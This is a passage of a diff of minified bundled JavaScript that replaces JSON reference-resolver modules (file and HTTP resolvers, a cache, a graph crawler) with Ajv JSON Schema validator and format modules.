i8(85765), "2.6.0": i8(94220), "3.0.0": i8(95309), "3.1.0": i8(88178) } }; - }, 64868: (e11, t9, i8) => { + const b8 = /[^\\]\\Z/; + }, 74421: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(8839); - t9.resolveFile = function(e12) { - return new Promise((t10, i9) => { - const r8 = e12.href(); - n8.readFile(r8, "utf8", (e13, n9) => { - e13 ? i9(e13) : t10(n9); - }); - }); + const n8 = i8(65733), r8 = i8(31038), o7 = i8(17898), s7 = new o7.Name("fullFormats"), a7 = new o7.Name("fastFormats"), p7 = (e12, t10 = { keywords: true }) => { + if (Array.isArray(t10)) + return c7(e12, t10, n8.fullFormats, s7), e12; + const [i9, o8] = "fast" === t10.mode ? [n8.fastFormats, a7] : [n8.fullFormats, s7]; + return c7(e12, t10.formats || n8.formatNames, i9, o8), t10.keywords && r8.default(e12), e12; }; - }, 71602: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(55478), r8 = i8(98203); - class o7 extends Error { - constructor() { - super(...arguments), this.name = "OpenError"; - } - } - t9.OpenError = o7; - class s7 extends Error { - constructor() { - super(...arguments), this.name = "ReadError"; - } - } - function a7(e12, t10 = {}) { - return n8.__awaiter(this, void 0, void 0, function* () { - const i9 = e12.href(), n9 = yield r8.default(i9, t10); - if (n9.ok) - return n9.text(); - if (404 === n9.status) - throw new o7(`Page not found: ${i9}`); - throw new s7(`${n9.status} ${n9.statusText}`); - }); + function c7(e12, t10, i9, n9) { + var r9, s8; + null !== (r9 = (s8 = e12.opts.code).formats) && void 0 !== r9 || (s8.formats = o7._`require("ajv-formats/dist/formats").${n9}`); + for (const n10 of t10) + e12.addFormat(n10, i9[n10]); } - t9.NetworkError = s7, t9.resolveHttp = a7, t9.createResolveHttp = function(e12 = {}) { - return (t10) => a7(t10, e12); - }; - }, 54668: (e11, t9, i8) => { + p7.get = (e12, t10 = "full") => { + const i9 = ("fast" === t10 ? n8.fastFormats : n8.fullFormats)[e12]; + if (!i9) + throw new Error(`Unknown format "${e12}"`); + return i9; + }, e11.exports = t9 = p7, Object.defineProperty(t9, "__esModule", { value: true }), t9.default = p7; + }, 31038: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - var n8 = i8(71602); - t9.createResolveHttp = n8.createResolveHttp, t9.resolveHttp = n8.resolveHttp, t9.NetworkError = n8.NetworkError, t9.OpenError = n8.OpenError; - var r8 = i8(64868); - t9.resolveFile = r8.resolveFile; - }, 30924: (e11, t9) => { + Object.defineProperty(t9, "__esModule", { value: true }), t9.formatLimitDefinition = void 0; + const n8 = i8(11601), r8 = i8(17898), o7 = r8.operators, s7 = { formatMaximum: { okStr: "<=", ok: o7.LTE, fail: o7.GT }, formatMinimum: { okStr: ">=", ok: o7.GTE, fail: o7.LT }, formatExclusiveMaximum: { okStr: "<", ok: o7.LT, fail: o7.GTE }, formatExclusiveMinimum: { okStr: ">", ok: o7.GT, fail: o7.LTE } }, a7 = { message: ({ keyword: e12, schemaCode: t10 }) => r8.str`should be ${s7[e12].okStr} ${t10}`, params: ({ keyword: e12, schemaCode: t10 }) => r8._`{comparison: ${s7[e12].okStr}, limit: ${t10}}` }; + t9.formatLimitDefinition = { keyword: Object.keys(s7), type: "string", schemaType: "string", $data: true, error: a7, code(e12) { + const { gen: t10, data: i9, schemaCode: o8, keyword: a8, it: p7 } = e12, { opts: c7, self: d7 } = p7; + if (!c7.validateFormats) + return; + const f8 = new n8.KeywordCxt(p7, d7.RULES.all.format.definition, "format"); + function l7(e13) { + return r8._`${e13}.compare(${i9}, ${o8}) ${s7[a8].fail} 0`; + } + f8.$data ? function() { + const i10 = t10.scopeValue("formats", { ref: d7.formats, code: c7.code.formats }), n9 = t10.const("fmt", r8._`${i10}[${f8.schemaCode}]`); + e12.fail$data(r8.or(r8._`typeof ${n9} != "object"`, r8._`${n9} instanceof RegExp`, r8._`typeof ${n9}.compare != "function"`, l7(n9))); + }() : function() { + const i10 = f8.schema, n9 = d7.formats[i10]; + if (!n9 || true === n9) + return; + if ("object" != typeof n9 || n9 instanceof RegExp || "function" != typeof n9.compare) + throw new Error(`"${a8}": format "${i10}" does not define "compare" function`); + const o9 = t10.scopeValue("formats", { key: i10, ref: n9, code: c7.code.formats ? r8._`${c7.code.formats}${r8.getProperty(i10)}` : void 0 }); + e12.fail$data(l7(o9)); + }(); + }, dependencies: ["format"] }, t9.default = (e12) => (e12.addKeyword(t9.formatLimitDefinition), e12); + }, 88856: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.Cache = void 0, t9.Cache = class { + Object.defineProperty(t9, "__esModule", { value: true }), t9.MissingRefError = t9.ValidationError = t9.CodeGen = t9.Name = t9.nil = t9.stringify = t9.str = t9._ = t9.KeywordCxt = t9.Ajv2019 = void 0; + const n8 = i8(65319), r8 = i8(2431), o7 = i8(32485), s7 = i8(68774), a7 = i8(83076), p7 = i8(11672), c7 = i8(92905), d7 = "https://json-schema.org/draft/2019-09/schema"; + class f8 extends n8.default { constructor(e12 = {}) { - this._stats = { hits: 0, misses: 0 }, this._data = {}, this._stdTTL = e12.stdTTL; - } - get stats() { - return this._stats; - } - get(e12) { - const t10 = this._data[e12]; - if (t10 && (!this._stdTTL || (/* @__PURE__ */ new Date()).getTime() - t10.ts < this._stdTTL)) - return this._stats.hits += 1, t10.val; - this._stats.misses += 1; - } - set(e12, t10) { - this._data[e12] = { ts: (/* @__PURE__ */ new Date()).getTime(), val: t10 }; + super({ ...e12, dynamicRef: true, next: true, unevaluated: true }); } - has(e12) { - return e12 in this._data; + _addVocabularies() { + super._addVocabularies(), this.addVocabulary(o7.default), r8.default.forEach((e12) => this.addVocabulary(e12)), this.addVocabulary(s7.default), this.addVocabulary(a7.default), this.opts.discriminator && this.addKeyword(p7.default); } - purge() { - Object.assign(this._stats, { hits: 0, misses: 0 }), this._data = {}; + _addDefaultMetaSchema() { + super._addDefaultMetaSchema(); + const { $data: e12, meta: t10 } = this.opts; + t10 && (c7.default.call(this, e12), this.refs["http://json-schema.org/schema"] = d7); } - }; - }, 91226: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.ResolveCrawler = void 0; - const n8 = i8(46734), r8 = i8(30524), o7 = i8(46123), s7 = i8(19899); - t9.ResolveCrawler = class { - constructor(e12, t10, i9) { - this._resolved = i9, this.resolvers = [], this.pointerGraph = new r8.DepGraph({ circular: true }), this.pointerStemGraph = new r8.DepGraph({ circular: true }), this.computeGraph = (e13, t11 = [], i10 = "#", n9 = []) => { - i10 || (i10 = "#"); - let r9 = this._runner.computeRef({ val: e13, jsonPointer: i10, pointerStack: n9 }); - if (void 0 !== r9) - this._resolveRef({ ref: r9, val: e13, parentPath: t11, pointerStack: n9, parentPointer: i10, cacheKey: i10, resolvingPointer: this.jsonPointer }); - else if ("object" == typeof e13) - for (const o8 in e13) { - if (!e13.hasOwnProperty(o8)) - continue; - const a7 = e13[o8], p7 = s7.addToJSONPointer(i10, o8); - r9 = this._runner.computeRef({ key: o8, val: a7, jsonPointer: p7, pointerStack: n9 }), t11.push(o8), void 0 !== r9 ? this._resolveRef({ ref: r9, val: a7, parentPath: t11, parentPointer: p7, pointerStack: n9, cacheKey: s7.uriToJSONPointer(r9), resolvingPointer: this.jsonPointer }) : "object" == typeof a7 && this.computeGraph(a7, t11, p7, n9), t11.pop(); - } - }, this._resolveRef = (e13) => { - const { pointerStack: t11, parentPath: i10, parentPointer: r9, ref: a7 } = e13; - if (s7.uriIsJSONPointer(a7)) { - if (this._runner.dereferenceInline) { - const e14 = s7.uriToJSONPointer(a7); - let p7; - try { - p7 = (0, n8.pointerToPath)(e14); - } catch (e15) { - return void this._resolved.errors.push({ code: "PARSE_POINTER", message: `'${a7}' JSON pointer is invalid`, uri: this._runner.baseUri, uriStack: this._runner.uriStack, pointerStack: [], path: [] }); - } - let c7 = p7.length > 0; - for (const e15 in p7) - if (i10[e15] !== p7[e15]) { - c7 = false; - break; - } - if (c7) - return; - this.pointerStemGraph.hasNode(e14) || this.pointerStemGraph.addNode(e14); - let d7 = "#", f8 = ""; - for (let t12 = 0; t12 < i10.length; t12++) { - const n9 = i10[t12]; - if (n9 === p7[t12]) - d7 += `/${n9}`; - else { - f8 += `/${n9}`; - const t13 = `${d7}${f8}`; - t13 !== r9 && t13 !== e14 && (this.pointerStemGraph.hasNode(t13) || this.pointerStemGraph.addNode(t13), this.pointerStemGraph.addDependency(t13, e14)); - } - } - this.pointerGraph.hasNode(r9) || this.pointerGraph.addNode(r9), this.pointerGraph.hasNode(e14) || this.pointerGraph.addNode(e14); - const l7 = `${this._runner.baseUri.toString()}${e14}`; - this._runner.graph.hasNode(l7) || this._runner.graph.addNode(l7, { refMap: {} }), this._runner.root !== l7 && this._runner.graph.addDependency(this._runner.root, l7), this.pointerGraph.addDependency(r9, e14), this.jsonPointer && (t11.length < 2 || !t11.includes(e14)) && (t11.push(e14), this.computeGraph(o7(this._runner.source, p7), p7, e14, t11), t11.pop()); - } - } else { - const t12 = a7.toString(); - this._runner.graph.hasNode(t12) || this._runner.graph.addNode(t12, { refMap: {} }), this._runner.root !== t12 && this._runner.graph.addDependency(this._runner.root, t12), this._runner.dereferenceRemote && !this._runner.atMaxUriDepth() && this.resolvers.push(this._runner.lookupAndResolveUri(e13)); - } - }, this.jsonPointer = t10, this._runner = e12; + defaultMeta() { + return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(d7) ? d7 : void 0); } - }; - }, 16586: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.defaultGetRef = t9.Cache = void 0, i8(70824).__exportStar(i8(65582), t9); - var n8 = i8(30924); - Object.defineProperty(t9, "Cache", { enumerable: true, get: function() { - return n8.Cache; + } + t9.Ajv2019 = f8, e11.exports = t9 = f8, e11.exports.Ajv2019 = f8, Object.defineProperty(t9, "__esModule", { value: true }), t9.default = f8; + var l7 = i8(96223); + Object.defineProperty(t9, "KeywordCxt", { enumerable: true, get: function() { + return l7.KeywordCxt; } }); - var r8 = i8(49850); - Object.defineProperty(t9, "defaultGetRef", { enumerable: true, get: function() { - return r8.defaultGetRef; + var u7 = i8(17898); + Object.defineProperty(t9, "_", { enumerable: true, get: function() { + return u7._; + } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { + return u7.str; + } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { + return u7.stringify; + } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { + return u7.nil; + } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { + return u7.Name; + } }), Object.defineProperty(t9, "CodeGen", { enumerable: true, get: function() { + return u7.CodeGen; } }); - }, 65582: (e11, t9, i8) => { + var m7 = i8(95031); + Object.defineProperty(t9, "ValidationError", { enumerable: true, get: function() { + return m7.default; + } }); + var h8 = i8(85748); + Object.defineProperty(t9, "MissingRefError", { enumerable: true, get: function() { + return h8.default; + } }); + }, 88728: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.Resolver = void 0; - const n8 = i8(30524), r8 = i8(30924), o7 = i8(49850); - t9.Resolver = class { + Object.defineProperty(t9, "__esModule", { value: true }), t9.MissingRefError = t9.ValidationError = t9.CodeGen = t9.Name = t9.nil = t9.stringify = t9.str = t9._ = t9.KeywordCxt = t9.Ajv2020 = void 0; + const n8 = i8(65319), r8 = i8(64404), o7 = i8(11672), s7 = i8(43685), a7 = "https://json-schema.org/draft/2020-12/schema"; + class p7 extends n8.default { constructor(e12 = {}) { - this.ctx = {}, this.uriCache = e12.uriCache || new r8.Cache(), this.resolvers = e12.resolvers || {}, this.getRef = e12.getRef, this.transformRef = e12.transformRef, this.dereferenceInline = void 0 === e12.dereferenceInline || e12.dereferenceInline, this.dereferenceRemote = void 0 === e12.dereferenceRemote || e12.dereferenceRemote, this.parseResolveResult = e12.parseResolveResult, this.transformDereferenceResult = e12.transformDereferenceResult, this.ctx = e12.ctx; + super({ ...e12, dynamicRef: true, next: true, unevaluated: true }); } - resolve(e12, t10 = {}) { - const i9 = new n8.DepGraph({ circular: true }); - return new o7.ResolveRunner(e12, i9, Object.assign(Object.assign({ uriCache: this.uriCache, resolvers: this.resolvers, getRef: this.getRef, transformRef: this.transformRef, dereferenceInline: this.dereferenceInline, dereferenceRemote: this.dereferenceRemote, parseResolveResult: this.parseResolveResult, transformDereferenceResult: this.transformDereferenceResult }, t10), { ctx: Object.assign({}, this.ctx || {}, t10.ctx || {}) })).resolve(t10); + _addVocabularies() { + super._addVocabularies(), r8.default.forEach((e12) => this.addVocabulary(e12)), this.opts.discriminator && this.addKeyword(o7.default); } - }; - }, 49850: (e11, t9, i8) => { + _addDefaultMetaSchema() { + super._addDefaultMetaSchema(); + const { $data: e12, meta: t10 } = this.opts; + t10 && (s7.default.call(this, e12), this.refs["http://json-schema.org/schema"] = a7); + } + defaultMeta() { + return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(a7) ? a7 : void 0); + } + } + t9.Ajv2020 = p7, e11.exports = t9 = p7, e11.exports.Ajv2020 = p7, Object.defineProperty(t9, "__esModule", { value: true }), t9.default = p7; + var c7 = i8(96223); + Object.defineProperty(t9, "KeywordCxt", { enumerable: true, get: function() { + return c7.KeywordCxt; + } }); + var d7 = i8(17898); + Object.defineProperty(t9, "_", { enumerable: true, get: function() { + return d7._; + } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { + return d7.str; + } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { + return d7.stringify; + } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { + return d7.nil; + } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { + return d7.Name; + } }), Object.defineProperty(t9, "CodeGen", { enumerable: true, get: function() { + return d7.CodeGen; + } }); + var f8 = i8(95031); + Object.defineProperty(t9, "ValidationError", { enumerable: true, get: function() { + return f8.default; + } }); + var l7 = i8(85748); + Object.defineProperty(t9, "MissingRefError", { enumerable: true, get: function() { + return l7.default; + } }); + }, 11601: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.ResolveRunner = t9.defaultGetRef = void 0; - const n8 = i8(70824), r8 = i8(46734), o7 = i8(98136), s7 = i8(30524), a7 = i8(79725), p7 = i8(46123), c7 = i8(41263), d7 = i8(99472), f8 = i8(99960), l7 = i8(30924), u7 = i8(91226), m7 = i8(19899), h8 = i8(2940); - let y7 = 0; - t9.defaultGetRef = (e12, t10) => { - if (t10 && "object" == typeof t10 && "string" == typeof t10.$ref) - return t10.$ref; - }; - class g7 { - constructor(e12, i9 = new s7.DepGraph({ circular: true }), a8 = {}) { - this.ctx = {}, this.computeRef = (e13) => { - const t10 = this.getRef(e13.key, e13.val); - if (void 0 === t10) - return; - let i10 = new f8.ExtendedURI(t10); - if ("#" !== t10[0]) - if (this.isFile(i10)) { - let e14 = i10.toString(); - i10.is("absolute") || (e14 = this.baseUri.toString() ? (0, o7.join)((0, o7.dirname)(this.baseUri.toString()), (0, o7.stripRoot)(e14)) : ""), e14 && (i10 = new d7((0, o7.toFSPath)(e14)).fragment(i10.fragment())); - } else - (i10.scheme().includes("http") || "" === i10.scheme() && this.baseUri.scheme().includes("http")) && "" !== this.baseUri.authority() && "" === i10.authority() && (i10 = i10.absoluteTo(this.baseUri)); - return String(i10).length > 0 && this.isFile(this.baseUri) && this.isFile(i10) && this.baseUri.path() === i10.path() && (i10 = new f8.ExtendedURI(`#${i10.fragment()}`)), this.transformRef ? this.transformRef(Object.assign(Object.assign({}, e13), { ref: i10, uri: this.baseUri }), this.ctx) : i10; - }, this.atMaxUriDepth = () => this.uriStack.length >= 100, this.lookupUri = (e13) => n8.__awaiter(this, void 0, void 0, function* () { - const { ref: t10 } = e13; - let i10 = t10.scheme(); - !this.resolvers[i10] && this.isFile(t10) && (i10 = "file"); - const n9 = this.resolvers[i10]; - if (!n9) - throw new Error(`No resolver defined for scheme '${t10.scheme() || "file"}' in ref ${t10.toString()}`); - let r9 = yield n9.resolve(t10, this.ctx); - if (this.parseResolveResult) - try { - r9 = (yield this.parseResolveResult({ uriResult: r9, result: r9, targetAuthority: t10, parentAuthority: this.baseUri, parentPath: e13.parentPath, fragment: e13.fragment })).result; - } catch (e14) { - throw new Error(`Could not parse remote reference response for '${t10.toString()}' - ${String(e14)}`); - } - return new g7(r9, this.graph, { depth: this.depth + 1, baseUri: t10.toString(), root: t10, uriStack: this.uriStack, uriCache: this.uriCache, resolvers: this.resolvers, transformRef: this.transformRef, parseResolveResult: this.parseResolveResult, transformDereferenceResult: this.transformDereferenceResult, dereferenceRemote: this.dereferenceRemote, dereferenceInline: this.dereferenceInline, ctx: this.ctx }); - }), this.lookupAndResolveUri = (e13) => n8.__awaiter(this, void 0, void 0, function* () { - const { val: t10, ref: i10, resolvingPointer: n9, parentPointer: o8, pointerStack: s8 } = e13, a9 = e13.parentPath ? e13.parentPath.slice() : [], p9 = this.computeUriCacheKey(i10), d8 = { uri: i10, pointerStack: s8, targetPath: n9 === o8 ? [] : a9 }; - if (this.uriStack.includes(p9)) - return d8.resolved = { result: t10, graph: this.graph, refMap: {}, errors: [], runner: this }, d8; - { - let e14; - const n10 = this.baseUri.toString(), o9 = n10 && 0 !== this.depth ? n10 : null; - try { - if (this.atMaxUriDepth()) - throw new Error(`Max uri depth (${this.uriStack.length}) reached. Halting, this is probably a circular loop.`); - e14 = yield this.lookupUri({ ref: i10.clone().fragment(""), fragment: i10.fragment(), cacheKey: p9, parentPath: a9 }), o9 && (e14.uriStack = e14.uriStack.concat(o9)); - } catch (e15) { - d8.error = { code: "RESOLVE_URI", message: String(e15), uri: i10, uriStack: o9 ? this.uriStack.concat(o9) : this.uriStack, pointerStack: s8, path: a9 }; - } - if (e14 && (d8.resolved = yield e14.resolve({ jsonPointer: m7.uriToJSONPointer(i10), parentPath: a9 }), d8.resolved.errors.length)) { - for (const e15 of d8.resolved.errors) - if ("POINTER_MISSING" === e15.code && e15.path.join("/") === i10.fragment().slice(1)) { - const n11 = i10.fragment ? (0, r8.trimStart)(e15.path, (0, r8.trimStart)(i10.fragment(), "/").split("/")) : e15.path; - n11 && n11.length ? c7(d8.resolved.result, n11, t10) : d8.resolved.result && (d8.resolved.result = t10); - } - } - } - return d8; - }), this.id = y7 += 1, this.depth = a8.depth || 0, this._source = e12, this.resolvers = a8.resolvers || {}; - const p8 = a8.baseUri || ""; - let u8 = new d7(p8 || ""); - this.isFile(u8) && (u8 = new d7((0, o7.toFSPath)(p8))), this.baseUri = u8, this.uriStack = a8.uriStack || [], this.uriCache = a8.uriCache || new l7.Cache(), this.root = a8.root && a8.root.toString() || this.baseUri.toString() || "root", this.graph = i9, this.graph.hasNode(this.root) || this.graph.addNode(this.root, { refMap: {}, data: this._source }), this.baseUri && 0 === this.depth && this.uriCache.set(this.computeUriCacheKey(this.baseUri), this), this.getRef = a8.getRef || t9.defaultGetRef, this.transformRef = a8.transformRef, this.depth ? this.dereferenceInline = true : this.dereferenceInline = void 0 === a8.dereferenceInline || a8.dereferenceInline, this.dereferenceRemote = void 0 === a8.dereferenceRemote || a8.dereferenceRemote, this.parseResolveResult = a8.parseResolveResult, this.transformDereferenceResult = a8.transformDereferenceResult, this.ctx = a8.ctx, this.lookupUri = h8(this.lookupUri, { serializer: this._cacheKeySerializer, cache: { create: () => this.uriCache } }); + Object.defineProperty(t9, "__esModule", { value: true }), t9.MissingRefError = t9.ValidationError = t9.CodeGen = t9.Name = t9.nil = t9.stringify = t9.str = t9._ = t9.KeywordCxt = t9.Ajv = void 0; + const n8 = i8(65319), r8 = i8(2431), o7 = i8(11672), s7 = i8(33928), a7 = ["/properties"], p7 = "http://json-schema.org/draft-07/schema"; + class c7 extends n8.default { + _addVocabularies() { + super._addVocabularies(), r8.default.forEach((e12) => this.addVocabulary(e12)), this.opts.discriminator && this.addKeyword(o7.default); } - get source() { - return this._source; + _addDefaultMetaSchema() { + if (super._addDefaultMetaSchema(), !this.opts.meta) + return; + const e12 = this.opts.$data ? this.$dataMetaSchema(s7, a7) : s7; + this.addMetaSchema(e12, p7, false), this.refs["http://json-schema.org/schema"] = p7; } - resolve(e12) { - return n8.__awaiter(this, void 0, void 0, function* () { - const t10 = { result: this.source, graph: this.graph, refMap: {}, errors: [], runner: this }; - let i9; - const n9 = e12 && e12.jsonPointer && e12.jsonPointer.trim(); - if (n9 && "#" !== n9 && "#/" !== n9) { - try { - i9 = (0, r8.pointerToPath)(n9); - } catch (e13) { - return t10.errors.push({ code: "PARSE_POINTER", message: `'${n9}' JSON pointer is invalid`, uri: this.baseUri, uriStack: this.uriStack, pointerStack: [], path: [] }), t10; - } - t10.result = p7(t10.result, i9); - } - if (void 0 === t10.result) - return t10.errors.push({ code: "POINTER_MISSING", message: `'${n9}' does not exist @ '${this.baseUri.toString()}'`, uri: this.baseUri, uriStack: this.uriStack, pointerStack: [], path: i9 || [] }), t10; - const o8 = new u7.ResolveCrawler(this, n9, t10); - o8.computeGraph(t10.result, i9, n9 || ""); - let s8 = []; - if (o8.resolvers.length && (s8 = yield Promise.all(o8.resolvers)), s8.length) - for (const e13 of s8) { - let n10 = e13.targetPath; - n10.length || (n10 = i9 || []), t10.refMap[String(this.baseUri.clone().fragment((0, r8.pathToPointer)(n10)))] = String(e13.uri), this._setGraphNodeEdge(String(this.root), (0, r8.pathToPointer)(n10), String(e13.uri)), e13.error && t10.errors.push(e13.error), e13.resolved && (e13.resolved.errors && (t10.errors = t10.errors.concat(e13.resolved.errors)), void 0 !== e13.resolved.result && (this._source = (0, a7.default)(this._source, (t11) => { - if (e13.resolved) { - if (!n10.length) - return e13.resolved.result; - c7(t11, n10, e13.resolved.result), this._setGraphNodeData(String(e13.uri), e13.resolved.result); - } - }))); - } - if ("object" == typeof this._source ? (this.dereferenceInline && (this._source = (0, a7.default)(this._source, (e13) => { - let i10 = []; - try { - i10 = o8.pointerGraph.overallOrder(); - for (const n10 of i10) { - const i11 = o8.pointerGraph.dependantsOf(n10); - if (!i11.length) - continue; - const s9 = (0, r8.pointerToPath)(n10), d8 = 0 === s9.length ? (0, a7.original)(e13) : p7(e13, s9); - for (const a8 of i11) { - let i12; - const p8 = (0, r8.pointerToPath)(a8), f9 = o8.pointerStemGraph.dependenciesOf(n10); - for (const e14 of f9) - if ((0, r8.startsWith)(p8, (0, r8.pointerToPath)(e14))) { - i12 = true; - break; - } - i12 || (t10.refMap[(0, r8.pathToPointer)(p8)] = (0, r8.pathToPointer)(s9), this._setGraphNodeEdge(this.root, (0, r8.pathToPointer)(p8), (0, r8.pathToPointer)(s9)), void 0 !== d8 ? (c7(e13, p8, d8), this._setGraphNodeData((0, r8.pathToPointer)(s9), d8)) : t10.errors.push({ code: "POINTER_MISSING", message: `'${n10}' does not exist`, path: p8, uri: this.baseUri, uriStack: this.uriStack, pointerStack: [] })); - } - } - } catch (e14) { - } - })), t10.result = i9 ? p7(this._source, i9) : this._source) : t10.result = this._source, this.transformDereferenceResult) { - const r9 = new d7(n9 || ""); - try { - const { result: i10, error: n10 } = yield this.transformDereferenceResult({ source: this.source, result: t10.result, targetAuthority: r9, parentAuthority: this.baseUri, parentPath: e12 && e12.parentPath || [], fragment: r9.fragment() }); - if (t10.result = i10, n10) - throw new Error(`Could not transform dereferenced result for '${r9.toString()}' - ${String(n10)}`); - } catch (e13) { - t10.errors.push({ code: "TRANSFORM_DEREFERENCED", message: `Error: Could not transform dereferenced result for '${this.baseUri.toString()}${"" !== r9.fragment() ? `#${r9.fragment()}` : ""}' - ${String(e13)}`, uri: r9, uriStack: this.uriStack, pointerStack: [], path: i9 }); - } - } - return this._setGraphNodeData(this.root, this._source), t10; - }); + defaultMeta() { + return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(p7) ? p7 : void 0); } - _cacheKeySerializer(e12) { - return e12 && "object" == typeof e12 && e12.cacheKey ? e12.cacheKey : JSON.stringify(arguments); + } + t9.Ajv = c7, e11.exports = t9 = c7, e11.exports.Ajv = c7, Object.defineProperty(t9, "__esModule", { value: true }), t9.default = c7; + var d7 = i8(96223); + Object.defineProperty(t9, "KeywordCxt", { enumerable: true, get: function() { + return d7.KeywordCxt; + } }); + var f8 = i8(17898); + Object.defineProperty(t9, "_", { enumerable: true, get: function() { + return f8._; + } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { + return f8.str; + } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { + return f8.stringify; + } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { + return f8.nil; + } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { + return f8.Name; + } }), Object.defineProperty(t9, "CodeGen", { enumerable: true, get: function() { + return f8.CodeGen; + } }); + var l7 = i8(95031); + Object.defineProperty(t9, "ValidationError", { enumerable: true, get: function() { + return l7.default; + } }); + var u7 = i8(85748); + Object.defineProperty(t9, "MissingRefError", { enumerable: true, get: function() { + return u7.default; + } }); + }, 83277: (e11, t9) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.regexpCode = t9.getEsmExportName = t9.getProperty = t9.safeStringify = t9.stringify = t9.strConcat = t9.addCodeArg = t9.str = t9._ = t9.nil = t9._Code = t9.Name = t9.IDENTIFIER = t9._CodeOrName = void 0; + class i8 { + } + t9._CodeOrName = i8, t9.IDENTIFIER = /^[a-z$_][a-z$_0-9]*$/i; + class n8 extends i8 { + constructor(e12) { + if (super(), !t9.IDENTIFIER.test(e12)) + throw new Error("CodeGen: name must be a valid identifier"); + this.str = e12; } - computeUriCacheKey(e12) { - return e12.clone().fragment("").toString(); + toString() { + return this.str; } - isFile(e12) { - const t10 = e12.scheme(); - if ("file" === t10) - return true; - if (t10) { - if (!this.resolvers[t10]) - return true; - } else { - if ("/" === e12.toString().charAt(0)) - return true; - if (this.baseUri) { - const e13 = this.baseUri.scheme(); - return Boolean(!e13 || "file" === e13 || !this.resolvers[e13]); - } - } + emptyStr() { return false; } - _setGraphNodeData(e12, t10) { - if (!this.graph.hasNode(e12)) - return; - const i9 = this.graph.getNodeData(e12) || {}; - i9.data = t10, this.graph.setNodeData(e12, i9); - } - _setGraphNodeEdge(e12, t10, i9) { - if (!this.graph.hasNode(e12)) - return; - const n9 = this.graph.getNodeData(e12) || {}; - n9.refMap = n9.refMap || {}, n9.refMap[t10] = i9, this.graph.setNodeData(e12, n9); + get names() { + return { [this.str]: 1 }; } } - t9.ResolveRunner = g7; - }, 99960: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.ExtendedURI = void 0; - const n8 = i8(99472); - t9.ExtendedURI = class extends n8 { + t9.Name = n8; + class r8 extends i8 { constructor(e12) { - super(e12), this._value = e12.trim(); + super(), this._items = "string" == typeof e12 ? [e12] : e12; } - get length() { - return this._value.length; + toString() { + return this.str; } - }; - }, 19899: (e11, t9) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.uriIsJSONPointer = t9.uriToJSONPointer = t9.addToJSONPointer = void 0; - const i8 = (e12, t10, i9) => { - const n8 = e12.toString(); - let r8 = "", o7 = n8, s7 = 0, a7 = o7.indexOf(t10); - for (; a7 > -1; ) - r8 += n8.substring(s7, s7 + a7) + i9, o7 = o7.substring(a7 + t10.length, o7.length), s7 += a7 + t10.length, a7 = o7.indexOf(t10); - return o7.length > 0 && (r8 += n8.substring(n8.length - o7.length, n8.length)), r8; - }; - t9.addToJSONPointer = (e12, t10) => { - return `${e12}/${n8 = t10, i8(i8(n8, "~", "~0"), "/", "~1")}`; - var n8; - }, t9.uriToJSONPointer = (e12) => "length" in e12 && 0 === e12.length ? "" : "" !== e12.fragment() ? `#${e12.fragment()}` : "" === e12.href() ? "#" : "", t9.uriIsJSONPointer = (e12) => (!("length" in e12) || e12.length > 0) && "" === e12.path(); - }, 46734: (e11, t9, i8) => { - "use strict"; - i8.r(t9), i8.d(t9, { BUNDLE_ROOT: () => J5, ERRORS_ROOT: () => Z5, KEYS: () => Pe2, bundleTarget: () => Y6, decodePointer: () => V5, decodePointerFragment: () => ee4, decodePointerUriFragment: () => V5, decycle: () => te4, encodePointer: () => ie3, encodePointerFragment: () => I6, encodePointerUriFragment: () => k6, encodeUriPointer: () => q5, extractPointerFromRef: () => ne4, extractSourceFromRef: () => Q5, getFirstPrimitiveProperty: () => re4, getJsonPathForPosition: () => oe4, getLastPathSegment: () => se4, getLocationForJsonPath: () => ae4, hasRef: () => O7, isExternalRef: () => B6, isLocalRef: () => T6, isPlainObject: () => _6, parseTree: () => ce4, parseWithPointers: () => pe4, pathToPointer: () => M6, pointerToPath: () => N6, remapRefs: () => z6, renameObjectKey: () => ue4, reparentBundleTarget: () => he4, resolveExternalRef: () => ge4, resolveExternalRefWithLocation: () => be4, resolveInlineRef: () => G5, resolveInlineRefWithLocation: () => W5, safeParse: () => ve4, safeStringify: () => $e2, startsWith: () => xe2, stringify: () => _e2, toPropertyPath: () => we4, trapAccess: () => Te, traverse: () => L6, trimStart: () => Ae4 }); - var n8, r8 = i8(45250), o7 = i8(98136); - function s7(e12, t10) { - void 0 === t10 && (t10 = false); - var i9 = e12.length, n9 = 0, r9 = "", o8 = 0, s8 = 16, d8 = 0, f9 = 0, l8 = 0, u8 = 0, m8 = 0; - function h9(t11, i10) { - for (var r10 = 0, o9 = 0; r10 < t11 || !i10; ) { - var s9 = e12.charCodeAt(n9); - if (s9 >= 48 && s9 <= 57) - o9 = 16 * o9 + s9 - 48; - else if (s9 >= 65 && s9 <= 70) - o9 = 16 * o9 + s9 - 65 + 10; - else { - if (!(s9 